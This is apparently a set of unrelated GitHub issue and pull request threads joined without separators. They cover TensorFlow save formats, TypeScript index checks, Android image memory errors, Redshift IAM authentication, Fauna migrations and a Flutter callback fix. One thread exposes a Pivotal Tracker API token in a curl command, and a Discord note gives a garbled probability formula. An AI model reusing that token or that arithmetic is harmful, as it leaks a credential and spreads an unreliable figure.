Mobile device (e.g. iPhone 8, Pixel 2, Samsung Galaxy) if the issue happens on mobile device: NA
TensorFlow installed from (source or binary): Binary (pip)
TensorFlow version (use command below): v2.0.0-rc2-26-g64c3d382ca 2.0.0
Python version: Python 3.6.8
Bazel version (if compiling from source): NA
GCC/Compiler version (if compiling from source): NA
CUDA/cuDNN version: CUDA 10.0.130_411.31; cuDNN 10.0 v<IP_ADDRESS>
GPU model and memory: NVIDIA Quadro P2000, 4 GB

Describe the current behavior
When the model is saved in the default tf format, warnings are logged when trying to serve the model.
Examplary warning logs:
WARNING:tensorflow:5 out of the last 5 calls to <function recreate_function.<locals>.restored_function_body at 0x000001ED79058730> triggered tf.function retracing. Tracing is expensive and the excessive number of tracings is likely due to passing python objects instead of tensors. Also, tf.function has experimental_relax_shapes=True option that relaxes argument shapes that can avoid unnecessary retracing. Please refer to https://www.tensorflow.org/beta/tutorials/eager/tf_function#python_or_tensor_args and https://www.tensorflow.org/api_docs/python/tf/function for more details.

When the model is saved in the hdf5 format, the warnings do not occur.
Describe the expected behavior
The save formats should be equivalent and behave in the same way.
Code to reproduce the issue
Execute the following scripts to create and serve model

Run the first script with format_ext = '' which saves the model in tf format, restart the Python console, serve the model with the second script which creates the aforementioned warnings.
When running the scripts with format_ext = '.h5', the model is saved in hdf5 format and no warnings appear.

Model creation:
import os

import tensorflow as tf

format_ext = ''  # '.h5' or empty for tf format
model_path = os.path.join('out', 'mnist-classifier{}'.format(format_ext))

gpus = tf.config.experimental.list_physical_devices('GPU')

tf.config.experimental.set_virtual_device_configuration(
    gpus[0],
    [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512),
     tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512),
     tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512)]
)

strategy = tf.distribute.MirroredStrategy()
with strategy.scope():
    inputs = tf.keras.Input(shape=(784,), name='digits')
    x = tf.keras.layers.Dense(64, activation='relu', name='dense_1')(inputs)
    x = tf.keras.layers.Dense(64, activation='relu', name='dense_2')(x)
    outputs = tf.keras.layers.Dense(10, activation='softmax', name='predictions')(x)

    model = tf.keras.Model(inputs=inputs, outputs=outputs)

    model.compile(optimizer=tf.keras.optimizers.RMSprop(),  # Optimizer
                  # Loss function to minimize
                  loss=tf.keras.losses.SparseCategoricalCrossentropy(),
                  # List of metrics to monitor
                  metrics=[tf.keras.metrics.SparseCategoricalAccuracy()])

model.save(model_path)

Model serving:
import os

import tensorflow as tf

format_ext = ''  # '.h5' or empty for tf format
model_path = os.path.join('out', 'mnist-classifier{}'.format(format_ext))

gpus = tf.config.experimental.list_physical_devices('GPU')

tf.config.experimental.set_virtual_device_configuration(
    gpus[0],
    [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512),
     tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512),
     tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512)]
)

(_, _), (x_test, _) = tf.keras.datasets.mnist.load_data()
x_test = x_test.reshape(10000, 784).astype('float32') / 255

strategy = tf.distribute.MirroredStrategy()
with strategy.scope():
    loaded_model = tf.keras.models.load_model(model_path)
    predictions = loaded_model.predict(x_test, batch_size=64)

Other info / logs
The warnings occur only if more than two vGPUs are used.

I could replicate the issue with Tf 2.0 on colab.
Please find the gist here. Thanks!

@stekiri Can you please try with TF2.1 and tf-nightly. When I ran it in colab, I am seeing different warning as follows. Thanks!
Downloading data from https://storage.googleapis.com/tensorflow/tf-keras-datasets/mnist.npz
11493376/11490434 [==============================] - 0s 0us/step
WARNING:tensorflow:NCCL is not supported when using virtual GPUs, fallingback to reduction to one device
INFO:tensorflow:Using MirroredStrategy with devices ('/job:localhost/replica:0/task:0/device:GPU:0', '/job:localhost/replica:0/task:0/device:GPU:1', '/job:localhost/replica:0/task:0/device:GPU:2')
INFO:tensorflow:Reduce to /job:localhost/replica:0/task:0/device:CPU:0 then broadcast to ('/job:localhost/replica:0/task:0/device:CPU:0',).
INFO:tensorflow:Reduce to /job:localhost/replica:0/task:0/device:CPU:0 then broadcast to ('/job:localhost/replica:0/task:0/device:CPU:0',).
INFO:tensorflow:Reduce to /job:localhost/replica:0/task:0/device:CPU:0 then broadcast to ('/job:localhost/replica:0/task:0/device:CPU:0',).
INFO:tensorflow:Reduce to /job:localhost/replica:0/task:0/device:CPU:0 then broadcast to ('/job:localhost/replica:0/task:0/device:CPU:0',).

With TF 2.1 the warning I mentioned does not appear for above script, however, if I use four virtual GPUs (in the serving script) instead of three, the warning is displayed again.
You can reproduce it with the following virtual device config:
tf.config.experimental.set_virtual_device_configuration(
    gpus[0],
    [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512),
     tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512),
     tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512),
     tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512)]
)

@stekiri I cannot reproduce that warning. When I modify as you mentioned above, i get RuntimeError as follows. Please check the gist here. Thanks!

RuntimeError                              Traceback (most recent call last)
 in ()
9      tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512),
10      tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512),
---> 11      tf.config.experimental.VirtualDeviceConfiguration(memory_limit=512)]
12 )
13
1 frames
/usr/local/lib/python3.6/dist-packages/tensorflow_core/python/eager/context.py in set_logical_device_configuration(self, dev, virtual_devices)
1300     if self._context_handle is not None:
1301       raise RuntimeError(
-> 1302           "Virtual devices cannot be modified after being initialized")
1303
1304     self._virtual_device_map[dev] = virtual_devices
RuntimeError: Virtual devices cannot be modified after being initialized

@stekiri I ran first part of your code and restarted runtime and ran second part of your code. I cannot reproduce the issue when I used recent tf-nightly. Please check the gist here.
Can you please check once and close the issue if this was resolved for you? Thanks!

It seems to be resolved. Thanks!

@GF-Huang Can you please open a new issue with a standalone code to reproduce the issue? thanks!

@GF-Huang Can you please open a new issue with a standalone code to reproduce the issue? thanks!

#47554

I am experiencing the same error in tensorflow version 2.9.1. I just now kept receiving the error message after removing the arguments: activation='relu' and dropout=0.2.  Does this affect the model somehow or can the error message be ignored?


Some simple math.

Not a bug report of any form or etc, just wanted to let you know of how incredibly low it is to get a valid nitro code, considering that there's only a few thousand valid ones at a time due to the 48 hour expiration period the chances are already astronomically low, and then each code is 16 characters long with 62 different possibilities resulting in the chances of getting a valid code being 1 in 62^62*16 or 2.14983303224e+112. The only thing you're doing with this code is wasting your CPU, memory, and etc as well as having Discord flag your IP address for sending thousands upon thousands of requests to check for a valid nitro code.

Yeah I know I did the math myself


Remove Microsoft Login option

We want to remove Microsoft from our login strategy, we need to send a reset password email to all the customers.

This is done no?

Yep.


noUncheckedIndexedAccess does not compile on incorrect possible undefined

Bug Report

🔎 Search Terms

noUncheckedIndexedAccess

🕗 Version & Regression Information

v4.9.4
noUncheckedIndexedAccess: true
This is the behavior in every version I tried, and I reviewed the FAQ for entries since v4.1.5

⏯ Playground Link

Playground link with relevant code
💻 Code

const numbers = [1, 2, 3];

if (numbers.length > 0) {
  const first = numbers[0];
  const doubleFirst = first * 2;
}

🙁 Actual behavior
The code does not compile since the compiler thinks first can be undefined.

🙂 Expected behavior
The compiler should notice that first must be of type number and not number | undefined since the if statement ensures that.
Of course the code compiles if we disable noUncheckedIndexedAccess, but I would like to keep it enabled.

Essentially a duplicate of #38000. noUncheckedIndexedAccess does not change anything about this.
You can access the first element and check that one for undefined.

@MartinJohns it seems redundant having check the first element for undefined. The array cannot contain undefined elements and the array contains elements by the if(numbers.length > +) statement, therefore the first element first cannot be undefined.

@MartinJohns it seems redundant having check the first element for undefined. The array cannot contain undefined elements and the array contains elements by the if(numbers.length > +) statement, therefore the first element first cannot be undefined.

if (numbers.length > x) doesn't check if the var is undefined, only the length, you can have [undefined, undefined, undefined].
Regardless, I would agree the error should not throw here since numbers is clearly defined. I'm running into a bunch of variations of this where the var is clearly defined by typescript appends undefined liberally.

@WesleyYue are you sure that the array can contain undefined values? If I explicitly specify the type on the array the code below won't compile.
const numbers: number[] = [1, 2, 3, undefined];

Even if I do not specify the type on the array the result is the same.
const numbers = [1, 2, 3];
numbers.push(undefined)

if (numbers.length > x) doesn't check if the var is undefined, only the length, you can have [undefined, undefined, undefined].

@WesleyYue I mean yes if the array was not clearly defined, but as you say the array is clearly defined. The error should not be thrown so we agree on that

Checking the length property does not narrow the type, that's what the issues I linked are about. I suggest checking the indexed value instead of the length property, or simply use a type assertion.

For the record, it's entirely possible for this to happen at runtime:
let arr: number[] = [];
arr[1] = 42;
console.log(arr.length);  // 2 (i.e. arr.length > 0)
console.log(arr[0]);  // undefined!

It's debatable whether most code needs to be hardened against that (sparse arrays are evil), but seems worth considering, at least.


adopt extern-prelude and extern-absolute-path features

Now we don't need the extern crate. Though the need to pull in "private" macros from clap is a bit lame, as is suddent appearance of "deprecated method" warnings.

Oh, actually, that warning just seems to be occurring from the newer nightly.


New Feature: Add search option in stream and people list

Current
If Stream and people list is large enough, then it is difficult to get desired item (scroll so much to go down).
Better option
Add EditText in the drawer and on text change filter the listview.
I would like to work on this.

@kunall17 @timabbott . Please review it.

Hi @vishwesh3 - could you help us understand what you're asking them to review? Have you made a pull request already, or are you asking us to review your request for permission to work on this issue?

@brainwane I was asking for permission to work on this. After the discussion with @kunall17 I have started working on this. Will be creating PR soon. Thanks

Closing this since it was just merged; @vishwesh3 in the future you can put Fixes: #237 in the last commit message in the PR to have it be closed when the PR is merged.

@timabbott thanks. Will keep in mind about commit message next time.


Add story activity

The spec is failing because the tracker test projects (at least 1 and 2) don't return a story's activity:
export TOKEN=ab4c5895f57995bb7547986eacf91160
export PROJECT_ID=1027492
export STORY_ID=66728130

curl -sX GET -H "X-TrackerToken: $TOKEN" "https://www.pivotaltracker.com/services/v5/projects/$PROJECT_ID/stories/$STORY_ID/activity"

Do you have any insight into this? On the website, even though a story has activity, clicking on the History icon shows nothing.
I can fake it by modifying the VCR response (may be sacrilege) or by other means. Let me know what you think.

Coverage decreased (-0.46%) when pulling 7e1b2d80c8ae06eb8fc24468cfa7535835a531b2 on sshaw:activity_resource into 5b0af8072107405e5a3500bd4d957dd8d4201632 on dashofcode:master.

@sshaw I'm working on update story now. I think you can update a story (e.g. change the name) and that will generate activity. If you do that in a before that should guarentee that any story on the test projects will have some activity. VCR will record both interactions as well so it will continue to work offline.
I will merge this in and get the tests passing once I finish the update. Thanks for this addition.

On the Tracker projects I've used adding a comment, changing the state, or even creating the story will generate activity. Not the case with the first two login's projects...


HTML export of attacks is broken

Due to wrong links to dsworkbench.de in the template files and due to missing resources, the HTML export is currently broken. Will be fixed on a best effort basis soon.

Fixed in master and will be fixed also in next release


insertDML should support multi-row inserts

Right now when generating type-safe insert statements we only support one row at a time. Instead insertDML should either be updated to pass in both single and array records or we should create a new insertsDML function that will handle the multiple rows.

[x] Support arrays in insertDML or create insertsDML
[x] Multiple rows can optionally allow generating multiple insert statements or a single insert statement with multiple VALUES clauses in the same INSERT statement.

Implemented multi-row inserts in insertDML using multiple VALUES clauses. Need further testing and enhancements.


AON timer  prescale_count is not reset after a new wkup_ctrl.prescaler is written

There is a bug in aon_timer_core.
The issue becomes visible in the following scenario:

WKUP counter counts (wkup_ctrl.enable=1)
WKUP count is disabled (wkup_ctrl.enable=0) leaving prescale_count_q=A
WKUP count is enabled again, and a new wkup_ctrl.prescaler=B  is written.

If B < A, the RTL will have to overflow prescaler_count_q  before the new prescaler count becomes effective.
Assuming the expected use case for the WKUP counter is to set the prescaler and leave it as is until reset this isn't a critical bug.
The proposal is to reset prescaler_count_q every time a new wup_ctrl.prescaler value is written as well as the current reset on rst_aon_ni.

Alternatively, you can change the equal sign to a greater than or equal sign:
https://github.com/lowRISC/opentitan/blob/53705b727cf28ee864f0b262c7b4ed9aa1940bf4/hw/ip/aon_timer/rtl/aon_timer_core.sv#L59

Alternatively, you can change the equal sign to a greater than or equal sign:

If we change it so it becomes: (prescale_count_q >= reg2hw_i.wkup_ctrl.prescaler.q); , then that would mean the first counted unit would be incremented without any prescaler increments. Would that be ok?


Support IAM Identity Center Authentication - browser and token based

To support authentication to Redshift from 3rd party identity providers via IAM Identity Center, we need to add 2 authentication methods to dbt-redshift.
The first one is browser based, where we rely on the Redshift connector library to open up a browser session to get the proper creds: method: iam_idc_browser.
The second one is token based, where we expect the user to provide the required token, that we will relay to the Redshift connector library to establish the connection : method: iam_idc_token.
iam_idc_browser : Browser based authentication
See Authenticating with BrowserIdcAuthPlugin
Expected profile fields:

Option name
Required?
Description
Example

credentials_provider
Required
BrowserIdcAuthPlugin

idc_region
Required
The AWS Region where the AWS IAM Identity Center instance is located.
us-east-1

issuer_url
Required
The AWS IAM Identity Center server's instance endpoint. You can find this value using the AWS IAM Identity Center console.
https://identitycenter.amazonaws.com/ssoins-g5j2k70sn4yc5nsc

listen_port
Optional
The port that the Amazon Redshift driver uses to receive the auth_code response from AWS IAM Identity Center through the browser redirect.
7890

idc_client_display_name
Optional
The name that the AWS IAM Identity Center client uses for the application in the AWS IAM Identity Center's single sign-on consent popup.
Amazon Redshift driver

idp_response_timeout
Optional
The amount of time, in seconds, that the Redshift driver waits for the auth flow to complete.
60

Redshift connector call:
import redshift_connector

conn: redshift_connector.Connection = redshift_connector.connect(
    iam=True,
    database='dev',
    region='us-east-1',
    cluster_identifier='my-testing-cluster',
    ...

    credentials_provider='BrowserIdcAuthPlugin',
    idc_region='us-east-1',
    issuer_url='https://identitycenter.amazonaws.com/ssoins-g5j2k70sn4yc5nsc'
)

iam_idc_token : Token based authentication
See Authenticating with IdpTokenAuthPlugin
Expected profile fields:

Option name
Required?
Description

credentials_provider
Required
IdpTokenAuthPlugin

token
Required
An AWS IAM Identity Center vended access token or an OpenID Connect (OIDC) JSON Web Token (JWT) provided by a web identity provider that's connected with AWS IAM Identity Center. Your application must generate this token by authenticating your application user with AWS IAM Identity Center or an identity provider connected with AWS IAM Identity Center.

token_type
Required
The type of token used for IdpTokenAuthPlugin. Possible values are the following: ACCESS_TOKEN – Enter this if you use an AWS IAM Identity Center provided access token. EXT_JWT –  Enter this if you use an OpenID Connect (OIDC) JSON Web Token (JWT) provided by a web-based identity provider that's connected with AWS IAM Identity Center.

Redshift connector call:
import redshift_connector

conn: redshift_connector.Connection = redshift_connector.connect(
    iam=True,
    database='dev',
    region='us-east-1',
    cluster_identifier='my-testing-cluster',
    ...

    credentials_provider='IdpTokenAuthPlugin',
    token_type='ACCESS_TOKEN',
    token='abcdefghijklmnopqrstuvwxyz'
)

Prerequisites
Setting up AWS IAM Identity Center integration with Amazon Redshift

We have shipped half of this -- browser based IDC authentication. Note the redshift team has yet to ship a caching mechanism so any user of this auth method can expect several authentications for a single dbt run of a single model, followed by 2 or 3 for every included model thereafter. We eagerly await Redshift shipping that caching function and our team will do what is needed (if anything) to integrate it.


Image tracking as MRTK service

Discussed in https://github.com/microsoft/MixedRealityToolkit-Unity/discussions/10392

Originally posted by Babilinski December 22, 2021
I have been using mrtk for a while and realized that Image tracking for different platforms has to be managed externally. It would be nice if I could use MRTKs platform management to trigger image tracking across multiple platforms.

We appreciate your feedback and thank you for reporting this issue.
Microsoft Mixed Reality Toolkit version 2 (MRTK2) is currently in limited support. This means that Microsoft is only fixing high priority security issues. Unfortunately, this issue does not meet the necessary priority and will be closed. If you strongly feel that this issue deserves more attention, please open a new issue and explain why it is important.
Microsoft recommends that all new HoloLens 2 Unity applications use MRTK3 instead of MRTK2.
Please note that MRTK3 was released in August 2023. It features an all new architecture for developing rich mixed reality experiences and has a minimum requirement of Unity 2021.3 LTS. For more information about MRTK3, please visithttps://www.mixedrealitytoolkit.org.
Thank you for your continued support of the Mixed Reality Toolkit!


Investigate Storybook for React UI Testing

https://github.com/storybooks/storybook

Storybook is really interesting, in order to do a better research we should also take a look to:
https://react-styleguidist.js.org/
Both of then are really easy to install and use


Issue when using OU as TargetAccounts value

I've had an issue running this and found that this section of the addPackageToDistributor script doesn't seem to work as it should when you use an OU ID as the TargetAccounts value, eg. " --parameters '{"targetAccounts":["ou-abcd-0a0abcde"].......
    if documentResponse:
      for ta in targetAccounts:
        try:
          acc = str(ta)
          accountList.append(acc)
        except ValueError:
        orgResponse = org.list_accounts_for_parent(
          ParentId=ta
        )
        if orgResponse['Accounts']:
          for accounts in orgResponse['Accounts']:
            if accounts['Id']:
              accountList.append(accounts['Id'])

I ended up changing it to this to get it to work (as I only wanted to use an OU value anyway) but maybe a better way would be to check if the value starts with "ou" or something rather than relying on the ValueError which doesn't seem to be thrown as it can be cast to string?
    if documentResponse:
      for ta in targetAccounts:
        orgResponse = org.list_accounts_for_parent(
          ParentId=ta
        )
        if orgResponse['Accounts']:
          for accounts in orgResponse['Accounts']:
            if accounts['Id']:
              accountList.append(accounts['Id'])

Thanks!

I also added another section to deal with Organization ID's as input:
    if targetAccounts[0].startswith('r-'):
      orgUnits = org.list_organizational_units_for_parent(
          ParentId=targetAccounts[0]
        )
      targetAccounts = [ org['Id'] for org in orgUnits['OrganizationalUnits'] ]

    if documentResponse:
      for ta in targetAccounts:
        orgResponse = org.list_accounts_for_parent(
          ParentId=ta
        )
        if orgResponse['Accounts']:
          for accounts in orgResponse['Accounts']:
            if accounts['Id']:
              accountList.append(accounts['Id'])

this meant I needed to add this permission to the role aswell:
- 'organizations:ListOrganizationalUnitsForParent'

Thanks @StephenGoodall for pointing this out and recommending a fix. I picked up on this issue as well and had updated the code to validate input and differentiate between account and OU IDs, please refer to the latest template.yaml.
Updated code -
if documentResponse:
  for ta in targetAccounts:
    if ta.isdigit():
      acc = str(ta)
      accountList.append(acc)
    else:
      for page in accounts_paginator.paginate(ParentId=ta):
        for accounts in page['Accounts']:
          accountList.append(accounts['Id'])
      for page in ou_paginator.paginate(ParentId=ta):
        for ou in page['OrganizationalUnits']:
          for child_ou in accounts_paginator.paginate(ParentId=ou['Id']):
            for accounts in child_ou['Accounts']:
              accountList.append(accounts['Id'])

  if accountList:
    print(len(accountList))
    removeResponse = ssm.modify_document_permission(
      Name=package,
      PermissionType='Share',
      AccountIdsToRemove=[
          'all',
      ]
    )

Thanks


Stopped working after latest updated due to audiocontrol2sio

After latest update the component stopped working and throws following error in the log:
Error occurred loading configuration flow for integration hifiberry: No module named 'pyhifiberry.audiocontrol2sio'.
I tried reinstalling it but the problem persists. Can you please take a look or provide a solution on how to fix this error?

I have the same issue...
Logger: homeassistant.config_entries
Source: config_entries.py:745
First occurred: 06:14:11 (15 occurrences)
Last logged: 08:18:25
Error occurred loading configuration flow for integration hifiberry: No module named 'pyhifiberry.audiocontrol2sio'

after latest update i get the following exception when i try to add the integration from scratch:
2022-04-06 08:18:10 ERROR (MainThread) [custom_components.hifiberry.config_flow] Unexpected exception
Traceback (most recent call last):
File "/config/custom_components/hifiberry/config_flow.py", line 69, in async_step_user
await validate_input(self.hass, user_input)
File "/config/custom_components/hifiberry/config_flow.py", line 23, in validate_input
await Audiocontrol2SIO.connect(host=data["host"], port=data["port"])
File "/usr/local/lib/python3.9/site-packages/pyhifiberry/audiocontrol2sio.py", line 38, in connect
await sio.connect(f'http://{host}:{port}', wait_timeout=wait_timeout)
TypeError: connect() got an unexpected keyword argument 'wait_timeout'

Hi @borky @techcenter68 please have a look here.

it is working now. thanks for the fast fix!


Mac: Use paths.d to get workbook CLI tool into PATH.

Still generates the wrapper script as part of postinstall, but instead of writing it directly into /usr/local/bin, it's written into our bundle and that path is added to /etc/paths.d.
Fixes #56.

Updated to update in-app Enable Terminal Usage menu item.
Spent a bit of time working out how to do an elevated delete of the legacy file from the app itself, but I couldn't find a good way that didn't involve shelling out to an external program, etc.— it's probably fine to leave it in the installer only for now, since 1.4 will still have that.

@abock I thought the script is at /Applications/Xamarin Workbooks.app/Contents/MacOS/workbook now? I don't see anything going to /usr/local/bin.

Works for me—I actually tried relative paths at first but was having some issues with quoting and decided to go for a minimal set of changes.

Okay, so you're now generating Contents/MacOS/workbook. There are two issues:

You don't need to do that now. What issues were you having with the script? You'd base the real path off $0.
MacOS should contain binaries, not scripts; further, this exposes Xamarin Workbooks under PATH, which is why I suggested SharedSupport/path-bin, so we're free to dump more stuff there in the future to be available under PATH (but more importantly, to isolate workbook).

IOW, the only thing you need to pre-auth is for the writing of /etc/paths.d/workbooks.

#!/bin/bash

set -e

bundle_macos_dir="$(cd "$(dirname "$0")/../../MacOS" && pwd)"
"$bundle_macos_dir/Xamarin Workbooks" cli "$@

nod Good idea on building the real path from $0. The shared support stuff makes total sense.


OutOfMemory Exception on Samsung Devices

Hello, first of thank you for creating a great library and maintaining it. Totally awesome! You've managed to solve a problem many of us android devs face.
I'm facing an issue where some of the users get an OutOfMemory Exception. I'm using the following code to set the map:
int iDeviceDpi = getResources().getDisplayMetrics().densityDpi;
float fZoomScale;
if (iDeviceDpi <= 240) {
fZoomScale = 0.85f;
} else {
fZoomScale = 1.4f;
}
_imgMap.setImageResource(R.drawable.map);
_imgMap.setDoubleTapZoomScale(fZoomScale);
I'm also using a PNG of about 2MB, and the file size is 5000x4000. It is a map and should not have transparencies, I've also made sure to Uncheck 'Transperency' option in Photoshop just to make sure.
I'm looking for most reliable way to have this working on as many devices as possible, so open to further workaround or tweaks you may advise of. I can also save the file as JPG if that helps.
Thanks in advance!

The sample app has a larger PNG than this and I've never had a crash reported, so it should be possible to display this image without any problems. Please could you attach the image so I can check the format?
Is there anything that the affected devices have in common? Maybe a particular version of Android, or all have high density or low density screens? Tablets or phones?
If it's mostly high density screens, you could reduce the amount of image data loaded using setMinimumTileDpi(180). I'm not sure how effective this is, because these devices should have enough memory for big images.
Where you're setting the double tap zoom scale you could also use the density independent method setDoubleTapZoomDpi(100) so it will be consistent across all devices, though it's unlikely this causes errors.
Perhaps most importantly, I notice you're using setImageResource, which was only added to SubscamplingScaleImageView a couple of weeks ago. Make sure you aren't using ScaleImageView, which is only for smaller images. You could also try moving the image to assets, that may be more reliable.

Thank you so much for a prompt  and detailed reply. I've uploaded the PNG image for reference.
This happens on Android 4.4 and Samsung device so far Galaxy 4, 5 & Note 3. I'm also using the SubscamplingScaleImageView.
Is it necessary to set doubleTabZoom? Also is it better or faster to use a JPG in any way? JPG file size comes out to 3-4 MB instead of 2 with PNG.

This PNG doesn't have an alpha channel so that's one possible cause eliminated. PNG is the best format for an image like this, and I don't think it requires any more memory than a JPG.
You don't need to set doubleTapZoom, it's defaulted to 160dpi which should be okay for most apps. Max scale defaults to the same. That means that when fully zoomed in the image is at 160dpi so even small text on it should be readable, but it won't be completely sharp on a higher density screen.
It does seem to be newer and higher resolution devices affected, though the G4 is not all that new.
I think the best suggestion I have at the moment is to move the image to assets, and reduce the minimumTileDpi to 160.

Thanks. Based on your advice I'm going to go with keeping the PNG format and setMinimumTileDpi(160), also will try avoiding setting the doubleTapZoom for now as that shows up in the call stack (it crashes after users interact with the image).

Remember to move the image to assets, the option to display from resources is new and relatively unproven.
If the stack trace is consistent, could you paste it here?

Sure. Also just saw HTC One on the list, FYI.
ava.lang.RuntimeException: An error occured while executing doInBackground()
at android.os.AsyncTask$3.done(AsyncTask.java:278)
at java.util.concurrent.FutureTask$Sync.innerSetException(FutureTask.java:273)
at java.util.concurrent.FutureTask.setException(FutureTask.java:124)
at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:307)
at java.util.concurrent.FutureTask.run(FutureTask.java:137)
at android.os.AsyncTask$SerialExecutor$1.run(AsyncTask.java:208)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1076)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:569)
at java.lang.Thread.run(Thread.java:864)
Caused by: java.lang.OutOfMemoryError: (Heap Size=43875KB, Allocated=36137KB)
at android.graphics.BitmapRegionDecoder.nativeDecodeRegion(Native Method)
at android.graphics.BitmapRegionDecoder.decodeRegion(BitmapRegionDecoder.java:186)
at com.davemorrissey.labs.subscaleview.decoder.SkiaImageRegionDecoder.decodeRegion(SkiaImageRegionDecoder.java:76)
at com.davemorrissey.labs.subscaleview.SubsamplingScaleImageView$BitmapTileTask.doInBackground(SubsamplingScaleImageView.java:1173)
at com.davemorrissey.labs.subscaleview.SubsamplingScaleImageView$BitmapTileTask.doInBackground(SubsamplingScaleImageView.java:1150)
at android.os.AsyncTask$2.call(AsyncTask.java:264)
at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:305)
... 5 more

Based on user reports so far, I'm happy to report that your advice worked :)
Again, much thanks for your help, I commend you on your work & support of this library!
Last detail, I'm looking to have a doubleTap zoom in at about ~70% across devices instead of full 100%, this way the user can zoom in the last 30% if desired. I tried playing with setDoubleTapZoomDpi I dont think I'm using right values. What would be the best way achieve something like that ?

That's good news, and quick feedback too!
The default behaviour is to fully zoom in to the max scale on double tap. To change that, you need to set the double tap DPI to a higher value than the minimum DPI (minimum DPI is max scale expressed in a density independent way). You can experiment with these values to get the effect you want.
setMinimumDpi(160);
setDoubleTapZoomDpi(200);

BTW if your app is public, let me know if you'd like me to add it to the readme "hall of fame".

Sure thing, much appreciated! here's the link to my app:
https://play.google.com/store/apps/details?id=com.nyctrans.it
Right now the image always loads zoom out initially. Is there maybe a way to set initial zoom, as load the image at 10-15% zoom initially?
Thanks!

Really nice app :-)
As you know the dimensions of your image, it's quite easy to set an initial zoom. You just need to calculate the scale you need based on the width and height of your view, and the width and height of the image, then call setScaleAndCenter immediately after setImageAsset. If you're declaring the asset name in your XML, you may need to move that into code to make this work. It will take a bit of experimentation on screens of different densities to get the effect you want, there isn't really a universal value for 15% zoom.

Really nice plugin. Thanks, saved lot of time for me.
I faced this issue frequently on samsung tab when I use SubsampleScaleImageView in ViewPager.
Cause: My device doesnt allocate memory more than 45MB (approx) to my device.
Fix: Set android:largeHeap="true" in application tag of AndroidManifest.xml
and in onPause() of fragment or activity set .recycle();


Erroneous undefined reference errors

When I try to generate migrations, I get errors claiming the resources "[aren't] defined anywhere in the resource folders". For the following fauna/resources/functions.fql:
CreateFunction({
  name: "A",
  role: "server",
  body: Query(
    Lambda(
      "",
      true
    )
  )
})
CreateFunction({
  name: "B",
  role: "server",
  body: Query(
    Lambda(
      "",
      Call(Function("A"), []),
    )
  )
})

I get the error:
! Error:
      The following resource is not defined anywhere in the resource folders
          type: Function, name: A
      and was referenced from:
          type: Function, name: B

However, if I swap the order I declare these functions in:
CreateFunction({
  name: "B",
  role: "server",
  body: Query(
    Lambda(
      "",
      Call(Function("A"), []),
    )
  )
})
CreateFunction({
  name: "A",
  role: "server",
  body: Query(
    Lambda(
      "",
      true
    )
  )
})

I have no problems. This is true of every resource I'm creating that references another resource, and across files as well. Depending on defining them in reverse order and then having the error say depended-on resources aren't "anywhere in the resource folders" is pretty confusing.

Seems like the workaround here might be to define every resource in its own file.

Hey @rachaelmcq, it's not really a workaround, it's intended to work like that.
There is only one resource expected in each file.

Ah, I missed that. Yeah, a warning about multiple resources in one file would help.


frontend avatar and resume file size check

#335

I'm not sure if the limit is still 5 MiB so let me know if I should change that. I also wasn't sure how to figure out how to edit the status of the avatar upload button to return back to normal so my solution was moving the timeout stuff if that makes sense. So it works supposedly but just it will show the loading symbol even though it isn't really doing anything.

(putting "frontend" in title just to point that out explicitly -- we don't have backend check yet anyways oops)

(will push off reviewing this til weds or smth -- i gotta focus on tour stuff)

(will push off reveiw til after first-tour i think)

looks good! might be worth refactoring later but not necessary now.


Msix Packaging Tool monitored files position

Msix Packaging Tool会监视当前系统运行的安装程序，在安装程序运行完成后会捕捉对当前系统修改后的所有行为。默认安装程序会把应用安装在Program Files或者Program Files(x86)目录下，在之前被废弃的Desktop App Converter中捕捉到的应用在安装在Program Files或者Program Files(x86)目录下时会自动把捕捉后的文件放在Appx包的根目录下，但在Msix Packaging Tool中会放到VFS\ProgramFilesX64或者VFS\ProgramFilesX86目录下，为什么会有这样的改变？在Advanced Installer中生成的MSIX安装包也会放到根目录下。如果这是一个BUG，希望可以在未来的Msix Packaging Tool进行微调一下。
Msix Packaging Tool monitors the package installer that is running on the current system and captures all the changes made to the current system after the installer is finished.The default installer will install the application in the Program Files or Program Files(x86) directory. Applications captured in the previously deprecated Desktop App Converter will automatically put the captured Files in the root directory of the Appx package when installed in the Program Files or Program Files(x86) directory.But in Msix Packaging Tool, it will be put in the directory of VFS\ProgramFilesX64 or VFS\ProgramFilesX86.The MSIX package installer generated in Advanced Installer also goes to the root directory.If this is a BUG, hopefully it can be tweaked in the future Msix Packaging Tool.

@Gaoyifei1011 are you still seeing this?

Closing for now, let us know if you have any issues


The system cannot find the path specified

想要更改jpa support 这个插件依赖driver_vendor\Mysql-8.0.16.jar的路径，怎么操作？

You shuold upgrade the version to latest.


Fixed bug where we could accidently call a callback twice.

Description
In the case where we would overflow a buffer channel we would end up calling the callback twice.
Related Issues
Related Issue: https://github.com/flutter/flutter/issues/42880
Tests
I added the following tests:
WIP
Checklist
Before you create this PR confirm that it meets all requirements listed below by checking the relevant checkboxes ([x]). This will ensure a smooth and quick review process.

[x] I read the Contributor Guide and followed the process outlined there for submitting PRs.
[x] I signed the CLA.
[x] I read and followed the Flutter Style Guide, including Features we expect every widget to implement.
[x] I updated/added relevant documentation (doc comments with ///).
[x] All existing and new tests are passing.
[x] The analyzer (flutter analyze --flutter-repo) does not report any problems on my PR.
[x] I am willing to follow-up on review comments in a timely manner.

Breaking Change
Does your PR require Flutter developers to manually update their apps to accommodate your change?

[ ] Yes, this is a breaking change (Please read Handling breaking changes). Replace this with a link to the e-mail where you asked for input on this proposed change.
[x] No, this is not a breaking change.

WIP Let me see if I can come up with a unit test tomorrow.

Also update the BinaryMessenger in packages/flutter_web_plugins

I've added a test.  I'm not sure the best way to notify you that it's open for review.

@yjbanov @hterkelsen friendly ping for review

